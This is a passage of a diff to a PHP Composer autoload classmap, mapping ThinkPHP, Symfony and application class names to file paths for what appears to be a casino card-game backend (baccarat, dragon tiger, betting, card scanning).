'/symfony/var-dumper/Cloner/VarCloner.php', + 'Symfony\\Component\\VarDumper\\Command\\Descriptor\\CliDescriptor' => $vendorDir . '/symfony/var-dumper/Command/Descriptor/CliDescriptor.php', + 'Symfony\\Component\\VarDumper\\Command\\Descriptor\\DumpDescriptorInterface' => $vendorDir . '/symfony/var-dumper/Command/Descriptor/DumpDescriptorInterface.php', + 'Symfony\\Component\\VarDumper\\Command\\Descriptor\\HtmlDescriptor' => $vendorDir . '/symfony/var-dumper/Command/Descriptor/HtmlDescriptor.php', + 'Symfony\\Component\\VarDumper\\Command\\ServerDumpCommand' => $vendorDir . '/symfony/var-dumper/Command/ServerDumpCommand.php', + 'Symfony\\Component\\VarDumper\\Dumper\\AbstractDumper' => $vendorDir . '/symfony/var-dumper/Dumper/AbstractDumper.php', + 'Symfony\\Component\\VarDumper\\Dumper\\CliDumper' => $vendorDir . '/symfony/var-dumper/Dumper/CliDumper.php', + 'Symfony\\Component\\VarDumper\\Dumper\\ContextProvider\\CliContextProvider' => $vendorDir . '/symfony/var-dumper/Dumper/ContextProvider/CliContextProvider.php', + 'Symfony\\Component\\VarDumper\\Dumper\\ContextProvider\\ContextProviderInterface' => $vendorDir . '/symfony/var-dumper/Dumper/ContextProvider/ContextProviderInterface.php', + 'Symfony\\Component\\VarDumper\\Dumper\\ContextProvider\\RequestContextProvider' => $vendorDir . '/symfony/var-dumper/Dumper/ContextProvider/RequestContextProvider.php', + 'Symfony\\Component\\VarDumper\\Dumper\\ContextProvider\\SourceContextProvider' => $vendorDir . '/symfony/var-dumper/Dumper/ContextProvider/SourceContextProvider.php', + 'Symfony\\Component\\VarDumper\\Dumper\\ContextualizedDumper' => $vendorDir . '/symfony/var-dumper/Dumper/ContextualizedDumper.php', + 'Symfony\\Component\\VarDumper\\Dumper\\DataDumperInterface' => $vendorDir . '/symfony/var-dumper/Dumper/DataDumperInterface.php', + 'Symfony\\Component\\VarDumper\\Dumper\\HtmlDumper' => $vendorDir . '/symfony/var-dumper/Dumper/HtmlDumper.php', + 'Symfony\\Component\\VarDumper\\Dumper\\ServerDumper' => $vendorDir . '/symfony/var-dumper/Dumper/ServerDumper.php', + 'Symfony\\Component\\VarDumper\\Exception\\ThrowingCasterException' => $vendorDir . '/symfony/var-dumper/Exception/ThrowingCasterException.php', + 'Symfony\\Component\\VarDumper\\Server\\Connection' => $vendorDir . '/symfony/var-dumper/Server/Connection.php', + 'Symfony\\Component\\VarDumper\\Server\\DumpServer' => $vendorDir . '/symfony/var-dumper/Server/DumpServer.php', + 'Symfony\\Component\\VarDumper\\Test\\VarDumperTestTrait' => $vendorDir . '/symfony/var-dumper/Test/VarDumperTestTrait.php', + 'Symfony\\Component\\VarDumper\\VarDumper' => $vendorDir . '/symfony/var-dumper/VarDumper.php', + 'Symfony\\Polyfill\\Mbstring\\Mbstring' => $vendorDir . '/symfony/polyfill-mbstring/Mbstring.php', + 'Symfony\\Polyfill\\Php72\\Php72' => $vendorDir . '/symfony/polyfill-php72/Php72.php', + 'Symfony\\Polyfill\\Php80\\Php80' => $vendorDir . '/symfony/polyfill-php80/Php80.php', + 'UnhandledMatchError' => $vendorDir . '/symfony/polyfill-php80/Resources/stubs/UnhandledMatchError.php', + 'ValueError' => $vendorDir . '/symfony/polyfill-php80/Resources/stubs/ValueError.php', + 'app\\AppService' => $baseDir . '/app/AppService.php', + 'app\\ExceptionHandle' => $baseDir . '/app/ExceptionHandle.php', + 'app\\Request' => $baseDir . '/app/Request.php', + 'app\\handle\\controller\\Common' => $baseDir . '/app/handle/controller/Common.php', + 'app\\handle\\controller\\Index' => $baseDir . '/app/handle/controller/Index.php', + 'app\\handle\\controller\\Login' => $baseDir . '/app/handle/controller/Login.php', + 'app\\handle\\controller\\Scan' => $baseDir . '/app/handle/controller/Scan.php', + 'app\\index\\controller\\Common' => $baseDir . '/app/index/controller/Common.php', + 'app\\index\\controller\\Index' => $baseDir . '/app/index/controller/Index.php', + 'app\\index\\controller\\Login' => $baseDir . '/app/index/controller/Login.php', + 'app\\index\\middleware\\checkLogin' => $baseDir . '/app/index/middleware/checkLogin.php', + 'app\\listener\\GetState' => $baseDir . '/app/listener/GetState.php', + 'app\\listener\\WsClose' => $baseDir . '/app/listener/WsClose.php', + 'app\\listener\\WsConnect' => $baseDir . '/app/listener/WsConnect.php', + 'app\\listener\\scan\\Baccarat' => $baseDir . '/app/listener/scan/Baccarat.php', + 'app\\listener\\scan\\Dt' => $baseDir . '/app/listener/scan/Dt.php', + 'app\\listener\\scan\\Nn' => $baseDir . '/app/listener/scan/Nn.php', + 'app\\listener\\scan\\Tc' => $baseDir . '/app/listener/scan/Tc.php', + 'app\\listener\\space\\ChangeBoot' => $baseDir . '/app/listener/space/ChangeBoot.php', + 'app\\listener\\space\\EndBet' => $baseDir . '/app/listener/space/EndBet.php', + 'app\\listener\\space\\EndRob' => $baseDir . '/app/listener/space/EndRob.php', + 'app\\listener\\space\\OpeningBaccarat' => $baseDir . '/app/listener/space/OpeningBaccarat.php', + 'app\\listener\\space\\OpeningDt' => $baseDir . '/app/listener/space/OpeningDt.php', + 'app\\listener\\space\\OpeningNn' => $baseDir . '/app/listener/space/OpeningNn.php', + 'app\\listener\\space\\OpeningTc' => $baseDir . '/app/listener/space/OpeningTc.php', + 'app\\listener\\space\\ResetBoot' => $baseDir . '/app/listener/space/ResetBoot.php', + 'app\\listener\\space\\ResetNumberTab' => $baseDir . '/app/listener/space/ResetNumberTab.php', + 'app\\listener\\space\\StartBet' => $baseDir . '/app/listener/space/StartBet.php', + 'app\\listener\\space\\StartRob' => $baseDir . '/app/listener/space/StartRob.php', + 'app\\listener\\user\\CancelBet' => $baseDir . '/app/listener/user/CancelBet.php', + 'app\\listener\\user\\ToBet' => $baseDir . '/app/listener/user/ToBet.php', + 'app\\listener\\user\\ToRob' => $baseDir . '/app/listener/user/ToRob.php', + 'app\\middleware\\checkLogin' => $baseDir . '/app/middleware/checkLogin.php', + 'app\\models\\bet\\Bet' => $baseDir . '/app/models/bet/Bet.php', + 'app\\models\\bet\\Cs' => $baseDir . '/app/models/bet/Cs.php', + 'app\\models\\bet\\Xima' => $baseDir . '/app/models/bet/Xima.php', + 'app\\models\\process\\Boot' => $baseDir . '/app/models/process/Boot.php', + 'app\\models\\process\\NumberTab' => $baseDir . '/app/models/process/NumberTab.php', + 'app\\models\\process\\RetreatedLog' => $baseDir . '/app/models/process/RetreatedLog.php', + 'app\\models\\process\\Sumday' => $baseDir . '/app/models/process/Sumday.php', + 'app\\models\\process\\WaybillRemind' => $baseDir . '/app/models/process/WaybillRemind.php', + 'app\\models\\table\\ScanAccount' => $baseDir . '/app/models/table/ScanAccount.php', + 'app\\models\\table\\Table' => $baseDir . '/app/models/table/Table.php', + 'app\\models\\table\\UserController' => $baseDir . '/app/models/table/UserController.php', + 'app\\models\\user\\User' => $baseDir . '/app/models/user/User.php', + 'app\\services\\bet\\CancelBetService' => $baseDir . '/app/services/bet/CancelBetService.php', + 'app\\services\\bet\\ToBetBaccaratService' => $baseDir . '/app/services/bet/ToBetBaccaratService.php', + 'app\\services\\bet\\ToBetCommonService' => $baseDir . '/app/services/bet/ToBetCommonService.php', + 'app\\services\\bet\\ToBetDtService' => $baseDir . '/app/services/bet/ToBetDtService.php', + 'app\\services\\bet\\ToBetNnService' => $baseDir . '/app/services/bet/ToBetNnService.php', + 'app\\services\\bet\\ToBetTcService' => $baseDir . '/app/services/bet/ToBetTcService.php', + 'app\\services\\bet\\ToRobService' => $baseDir . '/app/services/bet/ToRobService.php', + 'app\\services\\connect\\GetCardService' => $baseDir . '/app/services/connect/GetCardService.php', + 'app\\services\\connect\\InitTableService' => $baseDir . '/app/services/connect/InitTableService.php', + 'app\\services\\connect\\ScanConnectService' => $baseDir . '/app/services/connect/ScanConnectService.php', + 'app\\services\\connect\\SpaceConnectService' => $baseDir . '/app/services/connect/SpaceConnectService.php', + 'app\\services\\connect\\UserConnectService' => $baseDir . '/app/services/connect/UserConnectService.php', + 'app\\services\\opening\\OpeningBaccaratService' => $baseDir . '/app/services/opening/OpeningBaccaratService.php', + 'app\\services\\opening\\OpeningDtService' => $baseDir . '/app/services/opening/OpeningDtService.php', + 'app\\services\\opening\\OpeningNnService' => $baseDir . '/app/services/opening/OpeningNnService.php', + 'app\\services\\opening\\OpeningTcService' => $baseDir . '/app/services/opening/OpeningTcService.php', + 'app\\services\\process\\CountdownService' => $baseDir . '/app/services/process/CountdownService.php', + 'app\\services\\process\\EndBetService' => $baseDir . '/app/services/process/EndBetService.php', + 'app\\services\\process\\EndRobService' => $baseDir . '/app/services/process/EndRobService.php', + 'app\\services\\process\\ResetNumberTabService' => $baseDir . '/app/services/process/ResetNumberTabService.php', + 'app\\services\\process\\StartBetService' => $baseDir . '/app/services/process/StartBetService.php', + 'app\\services\\process\\StartRobService' => $baseDir . '/app/services/process/StartRobService.php', + 'app\\services\\scan\\ScanBaccaratService' => $baseDir . '/app/services/scan/ScanBaccaratService.php', + 'app\\services\\scan\\ScanCommonService' => $baseDir . '/app/services/scan/ScanCommonService.php', + 'app\\services\\scan\\ScanDtService' => $baseDir . '/app/services/scan/ScanDtService.php', + 'app\\services\\scan\\ScanNnService' => $baseDir . '/app/services/scan/ScanNnService.php', + 'app\\services\\scan\\ScanTcService' => $baseDir . '/app/services/scan/ScanTcService.php', + 'freedom\\basic\\BaseModel' => $baseDir . '/freedom/basic/BaseModel.php', + 'freedom\\traits\\ModelTrait' => $baseDir . '/freedom/traits/ModelTrait.php', + 'freedom\\utils\\CardPosition' => $baseDir . '/freedom/utils/CardPosition.php', + 'freedom\\utils\\CardPositionNn' => $baseDir . '/freedom/utils/CardPositionNn.php', + 'freedom\\utils\\CardPositionTc' => $baseDir . '/freedom/utils/CardPositionTc.php', + 'freedom\\utils\\RedisUtil' => $baseDir . '/freedom/utils/RedisUtil.php', + 'freedom\\utils\\SocketSession' => $baseDir . '/freedom/utils/SocketSession.php', + 'freedom\\utils\\Waybill' => $baseDir . '/freedom/utils/Waybill.php', + 'think\\App' => $vendorDir . '/topthink/framework/src/think/App.php', + 'think\\Cache' => $vendorDir . '/topthink/framework/src/think/Cache.php', + 'think\\Collection' => $vendorDir . '/topthink/think-helper/src/Collection.php', + 'think\\Config' => $vendorDir . '/topthink/framework/src/think/Config.php', + 'think\\Console' => $vendorDir . '/topthink/framework/src/think/Console.php', + 'think\\Container' => $vendorDir . '/topthink/framework/src/think/Container.php', + 'think\\Cookie' => $vendorDir . '/topthink/framework/src/think/Cookie.php', + 'think\\Db' => $vendorDir . '/topthink/framework/src/think/Db.php', + 'think\\DbManager' => $vendorDir . '/topthink/think-orm/src/DbManager.php', + 'think\\Env' => $vendorDir . '/topthink/framework/src/think/Env.php', + 'think\\Event' => $vendorDir . '/topthink/framework/src/think/Event.php', + 'think\\Exception' => $vendorDir . '/topthink/framework/src/think/Exception.php', + 'think\\Facade' => $vendorDir . '/topthink/framework/src/think/Facade.php', + 'think\\File' => $vendorDir . '/topthink/framework/src/think/File.php', + 'think\\Filesystem' => $vendorDir . '/topthink/framework/src/think/Filesystem.php', + 'think\\Http' => $vendorDir . '/topthink/framework/src/think/Http.php', + 'think\\Lang' => $vendorDir . '/topthink/framework/src/think/Lang.php', + 'think\\Log' => $vendorDir . '/topthink/framework/src/think/Log.php', + 'think\\Manager' => $vendorDir . '/topthink/framework/src/think/Manager.php', + 'think\\Middleware' => $vendorDir . '/topthink/framework/src/think/Middleware.php', + 'think\\Model' => $vendorDir . '/topthink/think-orm/src/Model.php', + 'think\\Paginator' => $vendorDir . '/topthink/think-orm/src/Paginator.php', + 'think\\Pipeline' => $vendorDir . '/topthink/framework/src/think/Pipeline.php', + 'think\\Request' => $vendorDir . '/topthink/framework/src/think/Request.php', + 'think\\Response' => $vendorDir . '/topthink/framework/src/think/Response.php', + 'think\\Route' => $vendorDir . '/topthink/framework/src/think/Route.php', + 'think\\Service' => $vendorDir . '/topthink/framework/src/think/Service.php', + 'think\\Session' => $vendorDir . '/topthink/framework/src/think/Session.php', + 'think\\Template' => $vendorDir . '/topthink/think-template/src/Template.php', + 'think\\Validate' => $vendorDir . '/topthink/framework/src/think/Validate.php', + 'think\\View' => $vendorDir . '/topthink/framework/src/think/View.php', + 'think\\app\\MultiApp' => $vendorDir . '/topthink/think-multi-app/src/MultiApp.php', + 'think\\app\\Service' => $vendorDir . '/topthink/think-multi-app/src/Service.php', + 'think\\app\\Url' => $vendorDir . '/topthink/think-multi-app/src/Url.php', + 'think\\app\\command\\Build' => $vendorDir . '/topthink/think-multi-app/src/command/Build.php', + 'think\\app\\command\\Clear' => $vendorDir . '/topthink/think-multi-app/src/command/Clear.php', + 'think\\cache\\Driver' => $vendorDir . '/topthink/framework/src/think/cache/Driver.php', + 'think\\cache\\TagSet' => $vendorDir . '/topthink/framework/src/think/cache/TagSet.php', + 'think\\cache\\driver\\File' => $vendorDir . '/topthink/framework/src/think/cache/driver/File.php', + 'think\\cache\\driver\\Memcache' => $vendorDir . '/topthink/framework/src/think/cache/driver/Memcache.php', + 'think\\cache\\driver\\Memcached' => $vendorDir . '/topthink/framework/src/think/cache/driver/Memcached.php', + 'think\\cache\\driver\\Redis' => $vendorDir . '/topthink/framework/src/think/cache/driver/Redis.php', + 'think\\cache\\driver\\Wincache' => $vendorDir . '/topthink/framework/src/think/cache/driver/Wincache.php', + 'think\\captcha\\Captcha' => $vendorDir . '/topthink/think-captcha/src/Captcha.php', + 'think\\captcha\\CaptchaController' => $vendorDir . '/topthink/think-captcha/src/CaptchaController.php', + 'think\\captcha\\CaptchaService' => $vendorDir . '/topthink/think-captcha/src/CaptchaService.php', + 'think\\captcha\\facade\\Captcha' => $vendorDir . '/topthink/think-captcha/src/facade/Captcha.php', + 'think\\console\\Command' => $vendorDir . '/topthink/framework/src/think/console/Command.php', + 'think\\console\\Input' => $vendorDir . '/topthink/framework/src/think/console/Input.php', + 'think\\console\\Output' => $vendorDir . '/topthink/framework/src/think/console/Output.php', + 'think\\console\\Table' => $vendorDir . '/topthink/framework/src/think/console/Table.php', + 'think\\console\\command\\Clear' => $vendorDir . '/topthink/framework/src/think/console/command/Clear.php', + 'think\\console\\command\\Help' => $vendorDir . '/topthink/framework/src/think/console/command/Help.php', + 'think\\console\\command\\Lists' => $vendorDir . '/topthink/framework/src/think/console/command/Lists.php', + 'think\\console\\command\\Make' => $vendorDir . '/topthink/framework/src/think/console/command/Make.php', + 'think\\console\\command\\RouteList' => $vendorDir . '/topthink/framework/src/think/console/command/RouteList.php', + 'think\\console\\command\\RunServer' => $vendorDir . '/topthink/framework/src/think/console/command/RunServer.php', + 'think\\console\\command\\ServiceDiscover' => $vendorDir . '/topthink/framework/src/think/console/command/ServiceDiscover.php', + 'think\\console\\command\\VendorPublish' => $vendorDir . '/topthink/framework/src/think/console/command/VendorPublish.php', + 'think\\console\\command\\Version' => $vendorDir . '/topthink/framework/src/think/console/command/Version.php', + 'think\\console\\command\\make\\Command' => $vendorDir . '/topthink/framework/src/think/console/command/make/Command.php', + 'think\\console\\command\\make\\Controller' => $vendorDir . '/topthink/framework/src/think/console/command/make/Controller.php', + 'think\\console\\command\\make\\Event' => $vendorDir . '/topthink/framework/src/think/console/command/make/Event.php', + 'think\\console\\command\\make\\Listener' => $vendorDir . '/topthink/framework/src/think/console/command/make/Listener.php', + 'think\\console\\command\\make\\Middleware' => $vendorDir . '/topthink/framework/src/think/console/command/make/Middleware.php', + 'think\\console\\command\\make\\Model' => $vendorDir . '/topthink/framework/src/think/console/command/make/Model.php', + 'think\\console\\command\\make\\Service' => $vendorDir . '/topthink/framework/src/think/console/command/make/Service.php', + 'think\\console\\command\\make\\Subscribe' => $vendorDir . '/topthink/framework/src/think/console/command/make/Subscribe.php', + 'think\\console\\command\\make\\Validate' => $vendorDir . '/topthink/framework/src/think/console/command/make/Validate.php', + 'think\\console\\command\\optimize\\Route' => $vendorDir . '/topthink/framework/src/think/console/command/optimize/Route.php', + 'think\\console\\command\\optimize\\Schema' => $vendorDir . '/topthink/framework/src/think/console/command/optimize/Schema.php', + 'think\\console\\input\\Argument' => $vendorDir . '/topthink/framework/src/think/console/input/Argument.php', + 'think\\console\\input\\Definition' => $vendorDir . '/topthink/framework/src/think/console/input/Definition.php', + 'think\\console\\input\\Option' => $vendorDir . '/topthink/framework/src/think/console/input/Option.php', + 'think\\console\\output\\Ask' => $vendorDir . '/topthink/framework/src/think/console/output/Ask.php', + 'think\\console\\output\\Descriptor' => $vendorDir . '/topthink/framework/src/think/console/output/Descriptor.php', + 'think\\console\\output\\Formatter' => $vendorDir . '/topthink/framework/src/think/console/output/Formatter.php', + 'think\\console\\output\\Question' => $vendorDir . '/topthink/framework/src/think/console/output/Question.php', + 'think\\console\\output\\descriptor\\Console' => $vendorDir . '/topthink/framework/src/think/console/output/descriptor/Console.php', + 'think\\console\\output\\driver\\Buffer' => $vendorDir . '/topthink/framework/src/think/console/output/driver/Buffer.php', + 'think\\console\\output\\driver\\Console' => $vendorDir . '/topthink/framework/src/think/console/output/driver/Console.php', + 'think\\console\\output\\driver\\Nothing' => $vendorDir . '/topthink/framework/src/think/console/output/driver/Nothing.php', + 'think\\console\\output\\formatter\\Stack' => $vendorDir . '/topthink/framework/src/think/console/output/formatter/Stack.php', + 'think\\console\\output\\formatter\\Style' => $vendorDir . '/topthink/framework/src/think/console/output/formatter/Style.php', + 'think\\console\\output\\question\\Choice' => $vendorDir . '/topthink/framework/src/think/console/output/question/Choice.php', + 'think\\console\\output\\question\\Confirmation' => $vendorDir . '/topthink/framework/src/think/console/output/question/Confirmation.php', + 'think\\contract\\Arrayable' => $vendorDir . '/topthink/think-helper/src/contract/Arrayable.php', + 'think\\contract\\CacheHandlerInterface' => $vendorDir . '/topthink/framework/src/think/contract/CacheHandlerInterface.php', + 'think\\contract\\Jsonable' => $vendorDir . '/topthink/think-helper/src/contract/Jsonable.php', + 'think\\contract\\LogHandlerInterface' => $vendorDir . '/topthink/framework/src/think/contract/LogHandlerInterface.php', + 'think\\contract\\ModelRelationInterface' => $vendorDir . '/topthink/framework/src/think/contract/ModelRelationInterface.php', + 'think\\contract\\SessionHandlerInterface' => $vendorDir . '/topthink/framework/src/think/contract/SessionHandlerInterface.php', + 'think\\contract\\TemplateHandlerInterface' => $vendorDir . '/topthink/framework/src/think/contract/TemplateHandlerInterface.php', + 'think\\db\\BaseQuery' => $vendorDir . '/topthink/think-orm/src/db/BaseQuery.php', + 'think\\db\\Builder' => $vendorDir . '/topthink/think-orm/src/db/Builder.php', + 'think\\db\\CacheItem' => $vendorDir . '/topthink/think-orm/src/db/CacheItem.php', + 'think\\db\\Connection' => $vendorDir . '/topthink/think-orm/src/db/Connection.php', + 'think\\db\\ConnectionInterface' => $vendorDir . '/topthink/think-orm/src/db/ConnectionInterface.php', + 'think\\db\\Fetch' => $vendorDir . '/topthink/think-orm/src/db/Fetch.php', + 'think\\db\\Mongo' => $vendorDir . '/topthink/think-orm/src/db/Mongo.php', + 'think\\db\\PDOConnection' => $vendorDir . '/topthink/think-orm/src/db/PDOConnection.php', + 'think\\db\\Query' => $vendorDir . '/topthink/think-orm/src/db/Query.php', + 'think\\db\\Raw' => $vendorDir . '/topthink/think-orm/src/db/Raw.php', + 'think\\db\\Where' => $vendorDir . '/topthink/think-orm/src/db/Where.php', + 'think\\db\\builder\\Mongo' => $vendorDir . '/topthink/think-orm/src/db/builder/Mongo.php', + 'think\\db\\builder\\Mysql' => $vendorDir . '/topthink/think-orm/src/db/builder/Mysql.php', + 'think\\db\\builder\\Oracle' => $vendorDir . '/topthink/think-orm/src/db/builder/Oracle.php', + 'think\\db\\builder\\Pgsql' => $vendorDir . '/topthink/think-orm/src/db/builder/Pgsql.php', + 'think\\db\\builder\\Sqlite' => $vendorDir . '/topthink/think-orm/src/db/builder/Sqlite.php', + 'think\\db\\builder\\Sqlsrv' => $vendorDir . '/topthink/think-orm/src/db/builder/Sqlsrv.php', + 'think\\db\\concern\\AggregateQuery' => $vendorDir . '/topthink/think-orm/src/db/concern/AggregateQuery.php', + 'think\\db\\concern\\JoinAndViewQuery' => $vendorDir . '/topthink/think-orm/src/db/concern/JoinAndViewQuery.php', + 'think\\db\\concern\\ModelRelationQuery' => $vendorDir . '/topthink/think-orm/src/db/concern/ModelRelationQuery.php', + 'think\\db\\concern\\ParamsBind' => $vendorDir . '/topthink/think-orm/src/db/concern/ParamsBind.php', + 'think\\db\\concern\\ResultOperation' => $vendorDir . '/topthink/think-orm/src/db/concern/ResultOperation.php', + 'think\\db\\concern\\TableFieldInfo' => $vendorDir . '/topthink/think-orm/src/db/concern/TableFieldInfo.php', + 'think\\db\\concern\\TimeFieldQuery' => $vendorDir . '/topthink/think-orm/src/db/concern/TimeFieldQuery.php', + 'think\\db\\concern\\Transaction' => $vendorDir . '/topthink/think-orm/src/db/concern/Transaction.php', + 'think\\db\\concern\\WhereQuery' => $vendorDir . '/topthink/think-orm/src/db/concern/WhereQuery.php', + 'think\\db\\connector\\Mongo' => $vendorDir . '/topthink/think-orm/src/db/connector/Mongo.php', + 'think\\db\\connector\\Mysql' => $vendorDir . '/topthink/think-orm/src/db/connector/Mysql.php', + 'think\\db\\connector\\Oracle' => $vendorDir . '/topthink/think-orm/src/db/connector/Oracle.php', + 'think\\db\\connector\\Pgsql' => $vendorDir . '/topthink/think-orm/src/db/connector/Pgsql.php', + 'think\\db\\connector\\Sqlite' => $vendorDir . '/topthink/think-orm/src/db/connector/Sqlite.php', + 'think\\db\\connector\\Sqlsrv' => $vendorDir . '/topthink/think-orm/src/db/connector/Sqlsrv.php', + 'think\\db\\exception\\BindParamException' => $vendorDir . '/topthink/think-orm/src/db/exception/BindParamException.php', + 'think\\db\\exception\\DataNotFoundException' => $vendorDir . '/topthink/think-orm/src/db/exception/DataNotFoundException.php', + 'think\\db\\exception\\DbException' => $vendorDir . '/topthink/think-orm/src/db/exception/DbException.php', + 'think\\db\\exception\\InvalidArgumentException' => $vendorDir . '/topthink/think-orm/src/db/exception/InvalidArgumentException.php', + 'think\\db\\exception\\ModelEventException' => $vendorDir . '/topthink/think-orm/src/db/exception/ModelEventException.php', + 'think\\db\\exception\\ModelNotFoundException' => $vendorDir . '/topthink/think-orm/src/db/exception/ModelNotFoundException.php', + 'think\\db\\exception\\PDOException' => $vendorDir . '/topthink/think-orm/src/db/exception/PDOException.php', + 'think\\event\\AppInit' => $vendorDir . '/topthink/framework/src/think/event/AppInit.php', + 'think\\event\\HttpEnd' => $vendorDir . '/topthink/framework/src/think/event/HttpEnd.php', + 'think\\event\\HttpRun' => $vendorDir . '/topthink/framework/src/think/event/HttpRun.php', + 'think\\event\\LogWrite' => $vendorDir . '/topthink/framework/src/think/event/LogWrite.php', + 'think\\event\\RouteLoaded' => $vendorDir . '/topthink/framework/src/think/event/RouteLoaded.php', + 'think\\exception\\ClassNotFoundException' => $vendorDir . '/topthink/framework/src/think/exception/ClassNotFoundException.php', + 'think\\exception\\ErrorException' => $vendorDir . '/topthink/framework/src/think/exception/ErrorException.php', + 'think\\exception\\FileException' => $vendorDir . '/topthink/framework/src/think/exception/FileException.php', + 'think\\exception\\FuncNotFoundException' => $vendorDir . '/topthink/framework/src/think/exception/FuncNotFoundException.php', + 'think\\exception\\Handle' => $vendorDir . '/topthink/framework/src/think/exception/Handle.php', + 'think\\exception\\HttpException' => $vendorDir . '/topthink/framework/src/think/exception/HttpException.php', + 'think\\exception\\HttpResponseException' => $vendorDir . '/topthink/framework/src/think/exception/HttpResponseException.php', + 'think\\exception\\InvalidArgumentException' => $vendorDir . '/topthink/framework/src/think/exception/InvalidArgumentException.php', + 'think\\exception\\RouteNotFoundException' => $vendorDir . '/topthink/framework/src/think/exception/RouteNotFoundException.php', + 'think\\exception\\ValidateException' => $vendorDir . '/topthink/framework/src/think/exception/ValidateException.php', + 'think\\facade\\App' => $vendorDir . '/topthink/framework/src/think/facade/App.php', + 'think\\facade\\Cache' => $vendorDir . '/topthink/framework/src/think/facade/Cache.php', + 'think\\facade\\Config' => $vendorDir . '/topthink/framework/src/think/facade/Config.php', + 'think\\facade\\Console' => $vendorDir . '/topthink/framework/src/think/facade/Console.php', + 'think\\facade\\Cookie' => $vendorDir . '/topthink/framework/src/think/facade/Cookie.php', + 'think\\facade\\Db' => $vendorDir . '/topthink/think-orm/src/facade/Db.php', + 'think\\facade\\Env' => $vendorDir . '/topthink/framework/src/think/facade/Env.php', + 'think\\facade\\Event' => $vendorDir . '/topthink/framework/src/think/facade/Event.php', + 'think\\facade\\Filesystem' => $vendorDir . '/topthink/framework/src/think/facade/Filesystem.php', + 'think\\facade\\Lang' => $vendorDir . '/topthink/framework/src/think/facade/Lang.php', + 'think\\facade\\Log' => $vendorDir . '/topthink/framework/src/think/facade/Log.php', + 'think\\facade\\Middleware' => $vendorDir . '/topthink/framework/src/think/facade/Middleware.php', + 'think\\facade\\Request' => $vendorDir . '/topthink/framework/src/think/facade/Request.php', + 'think\\facade\\Route' => $vendorDir . '/topthink/framework/src/think/facade/Route.php', + 'think\\facade\\Session' => $vendorDir . '/topthink/framework/src/think/facade/Session.php', + 'think\\facade\\Template' => $vendorDir . '/topthink/think-template/src/facade/Template.php', + 'think\\facade\\Validate' => $vendorDir . '/topthink/framework/src/think/facade/Validate.php', + 'think\\facade\\View' => $vendorDir . '/topthink/framework/src/think/facade/View.php', + 'think\\file\\UploadedFile' => $vendorDir . '/topthink/framework/src/think/file/UploadedFile.php', + 'think\\filesystem\\CacheStore' => $vendorDir . '/topthink/framework/src/think/filesystem/CacheStore.php', + 'think\\filesystem\\Driver' => $vendorDir . '/topthink/framework/src/think/filesystem/Driver.php', + 'think\\filesystem\\driver\\Local' => $vendorDir . '/topthink/framework/src/think/filesystem/driver/Local.php', + 'think\\helper\\Arr' => $vendorDir . '/topthink/think-helper/src/helper/Arr.php', + 'think\\helper\\Str' => $vendorDir . '/topthink/think-helper/src/helper/Str.php', + 'think\\initializer\\BootService' => $vendorDir . '/topthink/framework/src/think/initializer/BootService.php', + 'think\\initializer\\Error' => $vendorDir . '/topthink/framework/src/think/initializer/Error.php', + 'think\\initializer\\RegisterService' => $vendorDir . '/topthink/framework/src/think/initializer/RegisterService.php', + 'think\\log\\Channel' => $vendorDir . '/topthink/framework/src/think/log/Channel.php', + 'think\\log\\ChannelSet' => $vendorDir . '/topthink/framework/src/think/log/ChannelSet.php', + 'think\\log\\driver\\File' => $vendorDir . '/topthink/framework/src/think/log/driver/File.php', + 'think\\log\\driver\\Socket' => $vendorDir . '/topthink/framework/src/think/log/driver/Socket.php', + 'think\\middleware\\AllowCrossDomain' => $vendorDir . '/topthink/framework/src/think/middleware/AllowCrossDomain.php', + 'think\\middleware\\CheckRequestCache' => $vendorDir . '/topthink/framework/src/think/middleware/CheckRequestCache.php', + 'think\\middleware\\FormTokenCheck' => $vendorDir . '/topthink/framework/src/think/middleware/FormTokenCheck.php', + 'think\\middleware\\LoadLangPack' => $vendorDir . '/topthink/framework/src/think/middleware/LoadLangPack.php', + 'think\\middleware\\SessionInit' => $vendorDir . '/topthink/framework/src/think/middleware/SessionInit.php', + 'think\\model\\Collection' => $vendorDir . '/topthink/think-orm/src/model/Collection.php', + 'think\\model\\Pivot' => $vendorDir . '/topthink/think-orm/src/model/Pivot.php', + 'think\\model\\Relation' => $vendorDir . '/topthink/think-orm/src/model/Relation.php', + 'think\\model\\concern\\Attribute' => $vendorDir . '/topthink/think-orm/src/model/concern/Attribute.php', + 'think\\model\\concern\\Conversion' => $vendorDir . '/topthink/think-orm/src/model/concern/Conversion.php', + 'think\\model\\concern\\ModelEvent' => $vendorDir . '/topthink/think-orm/src/model/concern/ModelEvent.php', + 'think\\model\\concern\\OptimLock' => $vendorDir . '/topthink/think-orm/src/model/concern/OptimLock.php', + 'think\\model\\concern\\RelationShip' => $vendorDir . '/topthink/think-orm/src/model/concern/RelationShip.php', + 'think\\model\\concern\\SoftDelete' => $vendorDir . '/topthink/think-orm/src/model/concern/SoftDelete.php', + 'think\\model\\concern\\TimeStamp' => $vendorDir . '/topthink/think-orm/src/model/concern/TimeStamp.php', + 'think\\model\\relation\\BelongsTo' => $vendorDir . '/topthink/think-orm/src/model/relation/BelongsTo.php', + 'think\\model\\relation\\BelongsToMany' => $vendorDir . '/topthink/think-orm/src/model/relation/BelongsToMany.php', + 'think\\model\\relation\\HasMany' => $vendorDir . '/topthink/think-orm/src/model/relation/HasMany.php', + 'think\\model\\relation\\HasManyThrough' => $vendorDir . '/topthink/think-orm/src/model/relation/HasManyThrough.php', + 'think\\model\\relation\\HasOne' => $vendorDir . '/topthink/think-orm/src/model/relation/HasOne.php', + 'think\\model\\relation\\HasOneThrough' => $vendorDir . '/topthink/think-orm/src/model/relation/HasOneThrough.php', + 'think\\model\\relation\\MorphMany' => $vendorDir . '/topthink/think-orm/src/model/relation/MorphMany.php', + 'think\\model\\relation\\MorphOne' => $vendorDir . '/topthink/think-orm/src/model/relation/MorphOne.php', + 'think\\model\\relation\\MorphTo' => $vendorDir . '/topthink/think-orm/src/model/relation/MorphTo.php', + 'think\\model\\relation\\MorphToMany' => $vendorDir . '/topthink/think-orm/src/model/relation/MorphToMany.php', + 'think\\model\\relation\\OneToOne' => $vendorDir . '/topthink/think-orm/src/model/relation/OneToOne.php', + 'think\\paginator\\driver\\Bootstrap' => $vendorDir . '/topthink/think-orm/src/paginator/driver/Bootstrap.php', + 'think\\response\\File' => $vendorDir . '/topthink/framework/src/think/response/File.php', + 'think\\response\\Html' => $vendorDir . '/topthink/framework/src/think/response/Html.php', + 'think\\response\\Json' => $vendorDir . '/topthink/framework/src/think/response/Json.php', + 'think\\response\\Jsonp' => $vendorDir . 